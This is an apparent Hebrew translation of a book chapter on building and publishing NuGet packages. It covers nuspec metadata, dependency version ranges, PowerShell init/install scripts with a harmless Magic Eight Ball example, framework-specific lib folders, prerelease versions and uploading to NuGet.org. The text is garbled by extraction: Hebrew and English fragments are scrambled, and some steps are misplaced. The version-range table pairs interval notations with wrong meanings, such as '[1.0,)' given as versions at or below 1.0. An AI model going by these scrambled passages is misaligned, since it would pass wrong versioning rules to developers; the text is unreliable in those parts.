,  מוחלות על פרויקט ברירת המחדלPackage Manager Consoleהפקודות שמבוצעות במסוף 
בעת הפעלת הפקודה . עליונה של המסוף-אשר מוצג ברשימה הנפתחת שבפינה הימנית

 project-השתמשו בדגל . החבילה מותקנת בפרויקט ברירת המחדל בלבד, בילהלהתקנת ח
 . כשלאחריו שם של פרויקט כדי להחיל את השינויים על פרויקט אחר
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ועל רשימה של הפקודות  Package Manager Consoleלפרטים נוספים על השימוש במסוף 
 : בכתובת זוNuGetבקרו באתר התיעוד של , הזמינות

http://docs.nuget.org/docs/reference/package-manager-console-powershell-reference 

 יצירת חבילות 
הנות יאבל לא היינו יכולים ל, NuGetאומנם קל מאוד להתקין ולהשתמש בחבילות באמצעות 

זוהי הסיבה שצוות הפיתוח . מהנוחות הזו אילולא האנשים שטרחו לכתוב את החבילות הללו
שקיע מאמצים רבים כדי שתהליך היצירה של חבילות חדשות יהיה פשוט ככל  הNuGetשל 

 . הניתן

 NuGet מאתר NuGet.exeהפקודה -להוריד את יישום שורתעליכם , לפני שיוצרים חבילה

CodePlexשכתובתו : http://nuget.codeplex.com/. העתיקו את הקובץ NuGet.exe למיקום 
 . PATHהמיקום למשתנה הסביבה והוסיפו את , מרכזי יותר בדיסק הקשיח שלכם

אתם יכולים להריץ , לדוגמה. Update תוכלו לעדכן באמצעות הפקודה NuGet.exeהקובץ את 
 : את הפקודה

NuGet.exe update -self 

 : או להשתמש בגרסה המקוצרת
Nuget u -self 

 לשם old.מת על ידי הוספת הסיו NuGet.exeלגיבוי הגרסה הקיימת של משמשת פקודה ה
 . NuGet.exeוהחלפתו בגרסה העדכנית ביותר של , הקובץ

 : כדי ליצור חבילה, עליכם להוסיף עוד שלוש פעולות חשובות, NuGet.exeהתקנת לאחר 

 . מוסכמות-ארגנו את תוכן החבילה במבנה תיקיות מבוסס .1

  nuspec.את נתוני המטא של החבילה בקובץ פרטו  .2

 : nuspecהקובץ  על NuGet.exeשל  Pack תאת פקודהפעילו  .3
Install-Package NuGet.CommandLine 

 פרויקט אריזת 

 Visualשממופה בצורה אלגנטית לפרויקט ) assembly(חבילה תכלול תוצר קוד , במקרים רבים

Studio) .csproj או .vbproj .(יצירת חבילת , במצבים כאלהNuGetי היא עניין פשוט למד .
 :הנווטו אל התיקייה שמכילה את קובץ הפרויקט והזינו את הפקודה הבא, קודהבשורת הפ

NuGet.exe pack MyProject.csproj -Build 

פעולה . תוכלו להשמיט את השם של קובץ הפרויקט, אם התיקייה מכילה קובץ פרויקט יחיד
ל תוצר  על סמך נתוני המטא שNuGetזו תגרום להידור הפרויקט והגדרת נתוני המטא של 

 . הקוד של הפרויקט
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ואת זה , ברוב המקרים תרצו בוודאי להתאים בעצמכם את נתוני המטא של החבילה, עם זאת
 : תוכלו לעשות באמצעות הפקודה הזו

NuGet.exe spec MyProject.csproj 

עם אסימונים חלופיים מיוחדים עבור ) שיוסבר בהמשך הפרק (nuspec.פקודה יוצרת קובץ ה
 NuGetנושא זה מוסבר בצורה הרבה יותר מעמיקה בתיעוד של . ף מתוצר הקודמידע שישל

 : בכתובת הבאה

http://docs.nuget.org/docs/creating-packages/creating-and-publishing-a-package 

 אריזת תיקייה

זו אפשרות .  תומך גם ביצירת חבילות שמבוססות על מבנה תיקיותNuGetמנהל החבילות 
אם החבילה , לדוגמה.  במקרים שבהם לא קיים מיפוי פשוט מהפרויקט אל החבילהשימושית

 NET Framework.מכילה גרסאות שונות של תוצר הקוד שמתאימות לגרסאות שונות של 

 כוללת באופן רקורסיבי את כל הקבצים NuGet של Packהפקודה , על פי ברירת המחדל
ניתן לעקוף את ההתנהגות הזו על ידי . בפקודה שמצוין nuspec.קובץ בתיקייה שמכילה את ה

 . nuspecבקובץ שצריכים להיכלל קבצים ציון מפורש של ה

 . 10-1כמפורט בטבלה , חבילה מורכבת משלושה סוגים של קבצים

 סוגי הקבצים בחבילה: 10-1טבלה 

 תיאור תיקייה

Lib  קובץ (כל תוצר קוד.dll (ה בפרויקט המטרהפניהבתיקייה זו משמש כ . 

Content  קבצים בתיקייהcontentאם .  מועתקים לשורש היישום כאשר החבילה מותקנת
 לפני טרנספורמציהמופעלת , transform.או סיומת , pp.הקובץ נושא סיומת 

 . העתקתו

Tools  תיקייה זו מכילה תסריטיPowerShell שייתכן שיורצו במהלך ההתקנה או 
שמיועדות להיות מופעלות  כל התוכניות ומכילה גם את, האתחול של הפתרון

 . Package Manager Consoleדרך 

בדרך כלל תשתמשו באחת או יותר מתיקיות ברירת המחדל הללו , כאשר אתם יוצרים חבילה
ולכן , רוב החבילות מוסיפות תוצר קוד לפרויקט. בהתאם לקבצים הדרושים לחבילה שלכם

 . libחשוב בעיקר להכיר את מבנה התיקייה 

 לשורש readme.txtהוסיפו קובץ , חבילהעל אודות האם ברצונכם לספק למפתחים מידע נוסף 
, עם זאת. מיד לאחר סיום התקנת החבילהקובץ ה יפתח את NuGetמנהל החבילות . החבילה

 של החבילה readmeקובץ , readmeכדי למנוע את הצפת המשתמש במספר רב של קבצי 
 . ולא כאשר היא תלויה בחבילה אחרת, נפתח רק כאשר החבילה מותקנת באופן ישיר
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 NuSpecקובץ 

, של החבילה) ID(כמו למשל זיהוי , צריך לספק נתונים שונים) package(כאשר יוצרים חבילה 
, nuspec. בקובץ XML בפורמט מאוחסניםכל נתוני המטא הללו . עודרשימת מחברים ו, תיאור

 . והוא נכלל בה לאחר יצירתה, שמשתמשים בו במהלך יצירת החבילה

 ליצירת תבנית מפרט NuGet של Spec היא להשתמש בפקודה NuSpecדרך מהירה ליצור קובץ 
)spec file .( השתמשו בדגלAssemblyPath כדי ליצור קובץ NuSpec על סמך נתוני המטא 

יצירת , MusicCategorizer.dllלכם קובץ קוד בשם אם יש , לדוגמה. assemblyשמאוחסנים בקוד 
 ,  על סמך נתוני המטא שבקובץ תעשה באמצעות הפקודה הזוNuSpecקובץ 

nuget spec -AssemblyPath MusicCategorizer.dll 

 :  שלהלןNuSpecהפקודה תגרום להפקת קובץ 
<?xml version="1.0"?> 

<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd"> 

 <metadata> 

  <id>MusicCategorizer</id> 

  <version>1.0.0.0</version> 

  <title>MusicCategorizer</title> 

  <authors>Haackbeat Enterprises</authors> 

  <owners>Owner here</owners> 

  <licenseUrl>http://LICENSE_URL_HERE_OR_DELETE_THIS_LINE</licenseUrl> 

  <projectUrl>http://PROJECT_URL_HERE_OR_DELETE_THIS_LINE</projectUrl> 

  <iconUrl>http://ICON_URL_HERE_OR_DELETE_THIS_LINE</iconUrl> 

  <requireLicenseAcceptance>false</requireLicenseAcceptance> 

  <description> 

   Categorizes music into genres and determines beats per minute (BPM) of a song. 

  </description> 

  <tags>Tag1 Tag2</tags> 

  <dependencies> 

   <dependency id="SampleDependency" version="1.0" /> 

  </dependencies> 

 </metadata> 

</package> 

 child(אלמנט -אשר חייב להכיל תת, יצוני ח<packages> נפתח באלמנט NuSpecכל קובץ 

element ( מסוג<metadata> . אלמנט -גם תתלהכיל האלמנט יכול<files> ,כמוסבר בהמשך ,
 . לו לא תזדקקו אבל אם תקפידו על מוסכמות מבנה התיקיות שתארנו קודם

 נתוני מטא

 . NuSpec של קובץ <metadata> מפורטים האלמנטים שמוכלים במקטע 10-2בטבלה 
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 אלמנטים של נתוני מטא: 10-2טבלה 

 תיאור אלמנט

id זיהוי יחודי לחבילה. שדה חובה. 

version 4עד , גרסת החבילה בפורמט גרסה סטנדרטי. שדה חובה 
 ). 1.1.2.5 או 1.1.2, 1.1, לדוגמה(מקטעים 

title ערך , אם לא מוגדר. כותרת ידידותית למשתמש עבור החבילהid 
 . ר הכותרתישמש גם בתו

authors רשימה מופרדת בפסיקים של כותבי קוד החבילה. שדה חובה . 

owners רשימה זו , לעתים. רשימה מופרדת בפסיקים של יוצרי החבילה
שימו לב שבעת . אך לא תמיד, חופפת לרשימת כותבי הקוד

פרטי חשבון הגלריה מקבלים קדימות , העלאת החבילה לגלריה
 . על השדה הזה

licenseUrl קישור לרשיון החבילה . 

projectUrl אשר מספק למשתמשים מידע , כתובת דף הבית של החבילה
 . נוסף אודות החבילה

iconUrl שיח-כתובת לתמונה שתשמש כלוגו עבור החבילה בתיבת הדו .
 פיקסלים על 32x32 ברזולוציה של png.יש להשתמש בקובץ 

 . רקע שקוף

requireLicenseAcceptance  ערך בוליאני שמגדיר אם המשתמשים ידָרשו לאשר את תנאי
לפני התקנת ) licenseUrlכמפורט באלמנט (השימוש בחבילה 

 . החבילה

description התיאור יוצג בחלונית . תיאור מפורט של החבילה. שדה חובה
 .Package Managerשיח -הימנית של תיבת הדו

releaseNotes הערות הגרסה .  בגרסה זו של החבילהתיאור השינויים שבוצעו
מוצגות במקום התיאור כאשר החבילה נבחרת בכרטיסיית 

 . העדכונים

tags  רשימה מופרדת ברווחים של תגיות ומילות מפתח שמתארות
 . את החבילה

frameworkAssemblies י קוד של רשימה של הפניות תוצר.NET Framework אשר יוספו 
 . לפרויקט המטרה
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 תיאור אלמנט

references  שמות תוצרי הקוד בתיקייהlib אשר יוספו לפרויקט כהפניות 
אם אתם רוצים להוסיף את כל תוצרי הקוד בתיקייה . תוצרי קוד

lib) אם תציינו הפניות . השאירו תגית זו ריקה, )ברירת מחדל
 . יוספו אך ורק תוצרי הקוד שציינתם, כלשהן

dependencies אלמנט - מפורטות דרך תתרשימת התלויות של החבילה אשר
<dependency> . 

language  מחרוזתLocale ID)  או מחרוזתLCID ( שלMicrosoft עבור 
 . en-us, למשל. החבילה

copyright פרטי זכויות היוצרים של החבילה . 

summary הסיכום מוצג בחלונית האמצעית של . סיכום קצר של החבילה
 . Package Managerשיח -תיבת הדו

.  אתם חייבים לבחור בערך ייחודי- עבור החבילה שלכם IDהשקיעו מחשבה בבחירת ערך 
 . ערך זה ישמש לזיהוי החבילה שלכם בעת הרצת פקודות התקנת חבילות ועדכון חבילות

 MusicCategorizer, כלומר. NET זהה לפורמט השם של מרחבי שמות של IDהפורמט של ערך 
 אינו שם MusicCategorizer!!!Webאך ,  שמות חוקיים לחבילות הםMusicCategorizer.Mvc-ו

 . חוקי

 תלויות

אלא מסתמכות בעצמן על ספריות , תלוי-חבילות תוכנה רבות אינן מפותחות באופן בלתי
אבל אם , הללו בחבילה שלכם) dependencies(אתם יכולים לשלב את התלויות . אחרות

 את יחסי התלות הללו בנתוני המטא של החבילה עדיף להגדיר, NuGetהתלויות הן חבילות 
צרו קשר עם יוצרי , NuGetאם הספריות שמשמשות אתכם אינן מוצעות כחבילות . העיקרית

 !הספריות והציעו לעזור להם לארוז אותן

 . 10-3 מכיל שני נתונים כמפורט בטבלה <dependency>ל אלמנט כ

 אלמנטי תלות : 10-3טבלה 

 תיאור תכונה

id ך ערidשל החבילה עליה מסתמכת החבילה העיקרית  . 

version טווח גרסאות חבילת התלות שנתמכות על ידי החבילה העיקרית . 
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, על פי ברירת מחדל.  משמש לציון טווח של גרסאותversionהמאפיין , 10-3כמוסבר בטבלה 
 לדוגמה, עליכם לספק רק את הגרסה המינימלית שיכולה לשמש כתלות

<dependency id="MusicCategorizer" version="1.0"/> . דוגמה זו מגדירה תלות שמאפשרת
 . MusicCategorizer ומעלה של החבילה 1.0לחבילה להסתמך על גרסת 

 לציון )interval notation(תוכלו להשתמש בסימון קטע , אם עליכם להגדיר טווח מדויק יותר
 . לציון טווח גרסאות מוצגות השיטות השונות 10-4בטבלה . הטווח

 טווח גרסאות: 10-4טבלה 

 משמעות טווח

 . זהו הסימון המקובל והמומלץ ביותר. 1.0גרסאות עדכניות או שוות לגרסה  1.0

 2.0 אך לא כולל 1.0כולל , 2.0- ל1.0גרסאות בין  (2.0 ,1.0]

 1.0-גרסאות נמוכות או שוות ל [1.0,)

 1.0-גרסאות נמוכות מ (1.0,)

  בלבד1.0גרסה  [1.0]

 1.0-גרסאות עדכניות מ (,1.0)

 לא כולל מקרי קצה, 2.0- ל1.0גרסאות בין  (1.0,2.0)

 כולל מקרי קצה, 2.0- ל1.0גרסאות בין  [1.0,2.0]

 2.0 אך כולל 1.0לא כולל , 2.0- ל1.0גרסאות בין  [2.0 ,1.0)

 לא חוקי (1.0)

 כל הגרסאות ריק

, כאשר גישה זו מיושמת. א לציין את הגבול התחתון בלבדהגישה המומלצת בדרך כלל הי
אם תגדירו . יכול להשתמש בגרסאות חדשות יותר של התלות, המפתח שמתקין את החבילה

מנהל החבילות גם לא יאפשר להם לנסות ולהשתמש בחבילה עם גרסה מתקדמת , גבול עליון
מוסיף באופן אוטומטי את  NuGet, תוצרי קוד עם שמותבמקרה של . שהותקנה מראשיותר 

 . לקבצי התצורה של פרויקט המטרההפניות הקישור לתוצרי הקוד המתאימים 

קראו את , NuGetכדי לקבל מידע מקיף יותר על אסטרטגיית הגרסאות שמיושמת על ידי 
  בכתובת David Ebboת בבלוג של ובסדרת הכת

http://blog.davidebbo.com/2011/01/nuget-versioning-part-1-taking-on-dll.html 
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 ציון קבצי החבילה

לא תידרשו להוסיף רשימה של קבצים , אם תקפידו על מוסכמות מבנה התיקיות שתארנו קודם
יתכן שתרצו לציין באופן מפורש איזה קבצים יבמקרים מסוימים , עם זאת. nuspecלקובץ 

יכללו ילבחור את הקבצים ששבו תרצו  מקימים פרויקטייתכן שאתם , לדוגמה. יכללו בחבילהי
כדי לבחור באופן מפורש את הקבצים . מוסכמות-מבלי להעתיקם תחילה אל מבנה מבוסס

 . <files>באלמנט עליכם להשתמש , שיכללו

מנהל החבילות יתעלם מהמוסכמות ויוסיף לחבילה , חשוב לדעת שאם תציינו קבצים אחדים
 . nuspecבקובץ שעים ברשימה יורק את הקבצים שמופאך 

ומכיל סדרה , <package> של האלמנט )אופציונלי(רשות אלמנט - הוא תת<files>האלמנט 
 מגדיר מקור ויעד של קובץ אשר צריך להיכלל <file>כל אלמנט . <file>של אלמנטי 

 . 10-5הללו מתוארות בטבלה ) attributes(שתי התכונות . בחבילה

 <file>תכונות האלמנט : 10-5טבלה 

 אורתי תכונה

src הנתיב יחסי לקובץ . המיקום של הקובץ או הקבצים שצריכים להיכלל בחבילה
NuSpec ,מותר להשתמש בתו הפתוח כוכבית . אלא אם כן מוגדר נתיב מוחלט

 . לציון חיפוש תיקייה רקורסיבי(**) ניתן גם להשתמש בכוכבית כפולה (*). 

target יחסי יש לציין נתיב .  הקבציםנתיב היעד עבור הקובץ או קבוצת. שדה רשות
 ערכים יש. "target="lib\net40 או "target="libכמו למשל , בתוך החבילה

 ."target="tools או "target="content כגון ,מקובלים נוספים

 :  טיפוסי<files>ן מוצג אלמנט לבדוגמה שלה
<files> 

<file src="bin\Release\*.dll" target="lib" /> 

<file src="bin\Release\*.pdb" target="lib" /> 

 <file src="tools\**\*.*" target="tools" /> 

</files> 

. למעט כאשר נתון נתיב מוחלט, nuspec.כל הנתיבים מפורשים באופן יחסי למיקום של קובץ 
 NuGetקראו את המפרט באתר התיעוד של , לפרטים נוספים על אופן השימוש באלמנט הזה

 . http://docs.nuget.org/docs/reference/nuspec-referenceבכתובת 

 כלים

 שמורצים באופן אוטומטי כאשר החבילה מותקנת או PowerShellחבילה יכולה לכלול תסריטי 
 . MvcScaffoldingכמו למשל החבילה , יש תסריטים שמשמשים להוספת פקודות למסוף. מוּסרֶֶת
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 Package של חבילה שמוסיפה פקודה חדשה למסוף נציג כעת דוגמה פשוטה ביותר לבנייה

Manager Console .אך היא ממחישה בצורה , במקרה זה אין לנו חבילה שימושית במיוחד
 . טובה מספר רעיונות חשובים

הרי , אם אין לכם מושג מה זה". כדור הקסם" לי משיכה לא מוסברת לצעצוע התמיד היית
שיכול לספק תשובה לכל שאלת , גדול במיוחד) 8כדור (דור ביליארד שחור כזהו : הסבר קצר

תצטרכו לנער את הכדור ולהציץ מבעד , לאחר שתחשבו על שאלה. לא שתעלו בדעתכם/כן
לחלונית הקטנה שעליו כדי לראות את התשובה על אחת מעשרים הפאות של קוביית 

 .  שצפה בנוזל בתוך מעטפת הפלסטיק החיצוניתאיקוסהדרון

בשלב .  למסוףPowerShellאשר מוסיפה את הפקודה ,  משלנו לכדור הקסםכעת נבנה גרסה
תסריטים בעלי שם זה שנמצאים בתיקייה , על פי מוסכמה. init.ps1ראשון נכתוב תסריט בשם 

toolsוכך נוכל להשתמש בתסריט להוספת ,  של החבילה מורצים בכל פעם שהפתרון נפתח
 . הפקודה למסוף

 המיוחדים שניתן לכלול בתיקייה PowerShell של כל תסריטי  תמצאו רשימה10-6בטבלה 
tools של החבילה NuGet ,ועיתוי ההרצה שלהם . 

  מיוחדיםPowerShellתסריטי : 10-6טבלה 

 תיאור שם

Init.ps1 אם . התסריט מופעל בכל פעם שהחבילה מותקנת בפרויקט הראשון בפתרון
התסריט לא יורץ , פתרוןאותה חבילה מותקנת לפרויקטים נוספים באותו 

התסריט מורץ גם בכל פעם שהפתרון נפתח בסביבת . שוב במהלך ההתקנה
Visual Studio . תסריט זה מתאים להוספת פקודות חדשות למסוףPackage 

Manager Console . 

Install.ps1 אם אותה חבילה . התסריט מופעל בכל פעם שהחבילה מותקנת בפרויקט
התסריט מורץ בכל פעם , ספים באותו פתרוןמותקנת לפרויקטים נו

תסריט זה מתאים לביצוע שלבי התקנה נוספים מעבר . שהחבילה מותקנת
 . NuGetלפעולות הסטנדרטיות שמבוצעות על ידי 

Uninstall.ps1  התסריט מופעל בכל פעם שחבילה מוסרת)uninstalled (תסריט . מפרויקט
בר לפעולות הניקוי הסטנדרטיות זה מתאים לביצוע שלבי ניקוי נוספים מע

 . NuGetשמבוצעות על ידי 

 . 10-7כמפורט בטבלה ,  מעביר קבוצה של פרמטריםNuGet, בעת הקריאה לתסריטים הללו
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 NuGet של PowerShellפרמטרים לתסריטי : 10-7טבלה  

 תיאור שם

$installPath נתיב אל החבילה המותקנת. 

$toolsPath ים בתוך החבילה המותקנתנתיב אל תיקיית הכל . 

$package  המופע)instance (של החבילה. 

$project פרמטר זה מקבל . הפרויקט שבו תותקן החבילהnull תסריט  אם לפנינו
init.ps1 , מכיוון שתסריטinit.ps1ברמת הפתרוןפעל מו  . 

 שמכיל את הקוד  PowerShellמכיוון שהוא רק מייבא מודול ,  שלנו פשוט ביותרinit.ps1תסריט 
 :העיקרי

param($installPath, $toolsPath, $package, $project) 

 

Import-Module (Join-Path $toolsPath MagicEightBall.psm1) 

 .  בעת הקריאה לתסריטNuGetבשורה הראשונה מוצהרים הפרמטרים שיועברו לתסריט על ידי 

זהו תסריט . MagicEightBall.psm1שם ב) module(השורה השנייה משמשת לייבוא מודול 
.  שמכיל את הלוגיקה הפנימית של הפקודה החדשה שבכוונתו לכתובPowerShellמודול 

חייבת להיות , אשר כפי שציינו קודם, init.ps1בתיקייה שמשמשת לאחסון המודול מוצב 
שם המודול ל) toolsהנתיב לתיקייה  (toolsPath$בגלל זה עליכם לצרף את . toolsבתיקייה 

 . שלכם לקבלת הנתיב המלא לקובץ תסריט המודול

 :MagicEightBall.psm1קוד המקור של 
$answers = "As I see it, yes", 

      "Reply hazy, try again", 

      "Outlook not so good" 

 

function Get-Answer($question) { 

 $rand = New-Object System.Random 

 return $answers[$rand.Next(0, $answers.Length)] 

} 

 

Register-TabExpansion 'Get-Answer' @{ 

 'question' = { 

  "Is this my lucky day?", 

  "Will it rain tonight?", 

  "Do I watch too much TV?" 

 } 

} 

 

Export-ModuleMember Get-Answer 
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 : נבחן כל חלק של הקוד בנפרד

  כדור קסם אמיתי כולל . מצהירה על מערך של תשובות אפשרויותהשורה הראשונה
 . אולם אנחנו נסתפק בשלוש תשובות בלבד, עשרים תשובות אפשרויות

 כולל הצהרה על פונקציה בשם בלוק הקוד הבא Get-Answer . זוהי הפקודה החדשה
 היא מחוללת מספר אקראי שלם. Package Manager Consoleשהחבילה מוסיפה למסוף 

 . אשר משמש כאינדקס לקבלת תשובה אקראית מהמערך, )לא כולל (3-ל) כולל (0בין 

 ַה מָלָשְבבלוק הקוד הבא מבוצעת הרשמה של חלונית ה)tab expansion ( עבור הפקודה
זוהי דרך אלגנטית ביותר לספק . Register-TabExpansionהחדשה באמצעות השיטה 

הפרמטר הראשון הוא שם הפונקציה .  פונקציה לכלIntelliSenseהשלמת מילים בסגנון 
הפרמטר השני הוא המילון שמספק את הערכים . שעבורה מוגדרת חלונית ההשלמה

כל רשומה במילון כוללת מפתח .  של כל פרמטר שמועבר לפונקציההמָלָשְהַלחלונית ה
הערך של כל . question, בדוגמה שלנו יש רק פרמטר אחד. שתואם לשם של פרמטר

בדוגמה שלנו אנו מספקים שלוש שאלות . מה הוא מערך של ערכים אפשרייםרשו
אך כמובן שהמשתמש בפונקציה יכול לשאול כל , אפשריות שניתן לשאול את הכדור

 . שאלה שירצה

  שורת הקוד האחרונה מייצאת את הפונקציהGet-Answer . פעולה זו גורמת לפונקציה
 .ין פקודה מן המניזמינה למסוף בתורלהיות 

כדי שהתסריטים . כל שנותר לעשות הוא לארוז את הקבצים ולהתקין את החבילה, כעת
אם תגררו את הקבצים .  של החבילהtoolsעלינו להוסיף אותם לתיקייה , שיצרנו יורצו

שימוש ביישום "ביותר שיוצג בסעיף כלי שימושי  (Package Explorer של Contentsלחלונית 
Package Explorer "תוצג בפניכם בקשה אוטומטית להעבירם לתיקייה , )שך הפרקשבהמtools .

הציבו את הקבצים , ליצירת החבילה NuGet.exeהפקודה -אם אתם משתמשים ביישום שורת
 . toolsהללו בתיקייה 

העבירו את החבילה . בסיום יצירת החבילה תוכלו להתקין אותה במחשב כדי לנסות אותה
, לאחר התקנת החבילה). package source(התיקייה מקור חבילות לתיקייה כלשהי והגדירו את 

כמוצג , כולל חלונית השלמה, Package Managerהפקודה החדשה תהיה זמינה במסוף 
 . 10-18בתרשים 

תוכלו לבנות חבילות שמוסיפות פקודות שימושיות , PowerShellכאשר תדעו כיצד לעבוד עם 
וזו רק טיפה באוסף הפעולות שניתן , ה קלה ומהירה בצורPackage Managerמסוף חדשות ל

 . PowerShellלבצע באמצעות 
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 10-18תרשים 

 התאמה לתשתיות ופרופילים

אתם , לדוגמה. NET Framework של מוגדרתגרסה מותאמים לרבים ) assemblies(תוצרי קוד 
נוספת של אותה וגרסה , NET 2.0יכולים ליצור גרסה אחת של הספרייה שלכם שמיועדת עבור 

אינכם צריכים ליצור חבילות נפרדות . NET 4.0ספרייה שמותאמת לניצול האפשרויות של 
 מאפשר לשלב גרסאות שונות של אותה NuGetמנהל החבילות . לכל אחת מהגרסאות הללו

 . על ידי הפרדתן לתיקיות נפרדות בתוך החבילה, ספרייה בחבילה אחת

 של פרויקט NET Frameworkהוא בודק את גרסת , ילה מתקין תוצר קוד מחבNuGetכאשר 
ובוחר את הגרסה המתאימה של תוצר הקוד בחבילה על פי , היעד שאליו אתם מוסיפים אותה

עם  מוצגת דוגמה למבנה התיקיות בחבילה 10-19בתרשים . libשמות תיקיות המשנה בתיקייה 
 .NET 4.0 - וNET 2.0גרסאות ייעודיות עבור 

 10-19תרשים     

ישְַמו את מוסכמות בחירת השמות , כדי לאפשר את הפעולה התקינה של תהליך הבחירה
 :כדי לציין את תוצר הקוד המתאים לכל גרסה של התשתית, שלהלן על התיקיות שלכם

lib\{framework name}{version} 

 NET  השמות ):{framework name}( שם התשתית יש שני ערכים אפשריים בלבד עבור 

Framework או Silverlight.ובמקרה ,  נהוג להשתמש בקיצורים המוכרים עבור התשתיות הללו
 . בהתאמה, sl או net: שלפנינו
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ניתן להשמיט , כדי לחסוך בתווים.  יש לציין את גרסת התשתית ){version} (גרסה עבור שם ה
 : את הנקודה ולכתוב כך

 net20  לציוןNET 2.0 

 net35  לציוןNET 3.5 

 net40 לציון NET 4.0 

 net45 לציון NET 4.5 

 sl4 לציון Silverlight 4.0 

שאינם משויכים לשם או לגרסה של תשתית מוגדרת יאוחסנו ישירות ) assemblies(תוצרי קוד 
 . libבתיקייה 

מנהל החבילות מנסה ,  מתקין חבילה בעלת גרסאות שונות של תוצרי קודNuGetכאשר 
 .  מספר הגרסה של תוצר הקוד לתשתית המטרה של הפרויקטלהתאים את שם התשתית ואת

כדי ,  של החבילהlib סוקר את תיקיות המשנה תחת התיקייה NuGet, אם אין התאמה מדויקת
לאתר את התיקייה בעלת תשתית תואמת ובעלת מספר הגרסה הגבוה ביותר שנמוך או שווה 

 . לתשתית המטרה של הפרויקט

 חבילה בעלת מבנה NET Framework 3.5.לתשתית  שמיועד אם נתקין בפרויקט, לדוגמה
 net20מנהל החבילות יבחר בתוצר הקוד שבתיקייה , 10-19 זהה לזה שבתרשים libתיקיית 

מכיוון שזוהי הגרסה העדכנית ביותר שנמוכה או שווה ) NET Framework 2.0.שמיועד עבור (
 . 3.5לגרסה 

פרופילי תשתית מוגדרים על ידי הוספת מקף ושם בהתאמה לגם  תומך NuGetמנהל החבילות 
 :פרופיל אל שם התיקייה

lib\{framework name}{version}-{profile name} 

עליכם לאחסן אותו , Windows Phoneכדי לציין שתוצר הקוד מיועד לפרופיל , לדוגמה
 : כולליםNuGetהפרופילים שנתמכים על ידי . slw-wpבתיקייה בשם 

 Client :יל לקוחפרופ 

 Full :פרופיל מלא 

 WP :Windows Phone 

 .Silverlight 4 התאפשר רק עם תשתית Windows Phoneשיוך לפרופיל , נכון לזמן הכתיבה
 . גם בטלפוןSilverlightגרסאות מתקדמות יותר של ד ניתן יהיה להפעיל להניח שבעתיסביר 

 חבילות ניסיוניות

אך ייתכן שתרצו ליצור , "יציבות" רק חבילות NuGetמוצגות בחלון , על פי ברירת מחדל
 . NuGetגרסת בטא לקראת ההשקה הגדולה של החבילה שלכם ולהפיץ אותה באמצעות 
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כדי ליצור . )prerelease packages( תומך בפרסום של חבילות ניסיוניות NuGetמנהל החבילות 
. )SemVer )Semantic Versioning עליכם לציין את מספר גרסה בהתאם למפרט ,ניסיוניתגרסה 

 : תוכלו לקבוע כך את מספר הגרסה,  שלכם1.0כדי ליצור גרסת בטא לחבילה , לדוגמה
1.0.0-beta . זאת בשדה הגרסה בקובץ תוכלו לעשותNuSpec או באמצעות 

AssemblyInformationalVersion,כאשר אתם יוצרים חבילה דרך פרויקט : 

[assembly: AssemblyInformationalVersion("1.0.1-alpha")] 

 בנושא NuGetעיינו בתיעוד של , SemVerלקבלת מידע נוסף על מחרוזות גרסה ומפרט 
 . http://docs.nuget.org/docs/Reference/Versioningגרסאות בכתובת 

אבל חבילה יציבה אינה יכולה להסתמך , חבילה ניסיונית יכולה להסתמך על חבילות יציבות
הסיבה לכך היא שאדם שמתקין חבילה יציבה לא יסכים לקחת את . יוניותעל חבילות ניס

כל משתמש שמעוניין להתקין חבילות ניסיוניות . הסיכון שכרוך בשימוש בחבילה ניסיונית
 נדרש להצהיר על כך באופן מפורש ולאשר שהוא מבין את הסיכונים NuGetבאמצעות 

 . הנלווים

בחרו , Manage NuGet Packagesשיח - תיבת הדותבאמצעוכדי להתקין חבילה ניסיונית 
Include Prerelease במקום Stable Only במסוף . מהרשימה הנפתחת שבחלונית האמצעית

Package Manager Console,  את הדגל הוסיפו-IncludePrerelease לפקודה Install-Package . 

 פרסום חבילות
 יצירת חבילות היא דרך נוחה למחזר קוד .בסעיפים הקודמים למדנו כיצד ליצור חבילות

אם אינכם . אולם בשלב מסוים יש להניח שתרצו לשתף אותן עם העולם, בפרויקטים שונים
עבור ערוצים  NuGetההפצה של במערכת להשתמש עדיין תוכלו , מעוניינים בשיתוף דווקא

 . כמו למשל הפצה בתוך הארגון, פרטיים

 NuGet.orgפרסום באתר 

שנמצא בכתובת ) feed(הזנה לערוץ  מפנה NuGet, ירת מחדלעל פי בר
https://nuget.org/api/v2/ . 

 :בצעו את הפעולות הבאות, כדי לפרסם את החבילה שלכם בערוץ הזה

 מוצגת בתרשים NuGet גלריית ./http://nuget.org בכתובת NuGet Galleryצרו חשבון  .1
10-20 . 

הקישור יוביל אתכם לדף .  על שם המשתמש שלכםולחצו, התחברו לחשבונכם באתר .2
 Upload Packageלחצו על הקישור . אפשרויות ניהול חשבון וניהול החבילות שלכםעם 

 . 10-21כמוצג בתרשים , לדף העלאת החבילותכדי לנווט 
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 10-20תרשים 

 
 10-21תרשים 
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את נתוני אתם מועברים למסך שמאפשר לכם לאמת , כאשר אתם מעלים חבילה לאתר
אם אתם רוצים להעלות חבילה מבלי שתופיע . 10-22כמוצג בתרשים , המטא שלה

שימו ". List this package in search results"בטלו את סימון התיבה , החיפושבתוצאות 
עדיין ניתן להתקינה אם יש , גם אם החבילה אינה מוצגת בתוצאות החיפוש, לב

אפשרות זו שימושית כאשר ברצונכם לבדוק . ה ומספר הגרסה שלIDלמשתמש זיהוי 
 . את החבילה לפני שאתם מפרסמים אותה לציבור הרחב

 

 10-22תרשים 

, הפעולה תגרום להעלאת החבילה לאתר. Submitלחצו , לאחר אימות נתוני המטא .3
 . ואתם תופנו לדף פרטי החבילה

 NuGet.exe ש ביישום שימו

היינו מצפים שיהיה ניתן להשתמש , NuGet.exe באמצעות לאור העובדה שניתן ליצור חבילות
והוא מבוצע באמצעות , הדבר אכן אפשרי. הפקודה גם לפרסום חבילות-ביישום שורת

עליכם לברר ולרשום לעצמכם את , לפני הרצת הפקודה, עם זאת. NuGet של pushהפקודה 
 .  שלכםAPIמפתח 

דף זה משמש לניהול . לדף החשבוןלחצו על שם המשתמש שלכם ונווטו , NuGetבאתר 
בדף זה מופיע מפתח הגישה שלכם שבלעדיו לא תוכלו , אך חשוב מכך, החשבון שלכם
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, גללו קצת במורד הדף ולחצו על השטח הכחול הגדול. NuGet.exeבאמצעות לפרסם חבילות 
 . 10-23כמוצג בתרשים ,  שלכםAPIכדי לחשוף את מפתח 

 

 10-23תרשים 

 שמאפשר לחולל בצורה נוחה מפתח Generate New API Key לחצן בשם ישמתחת למפתח 
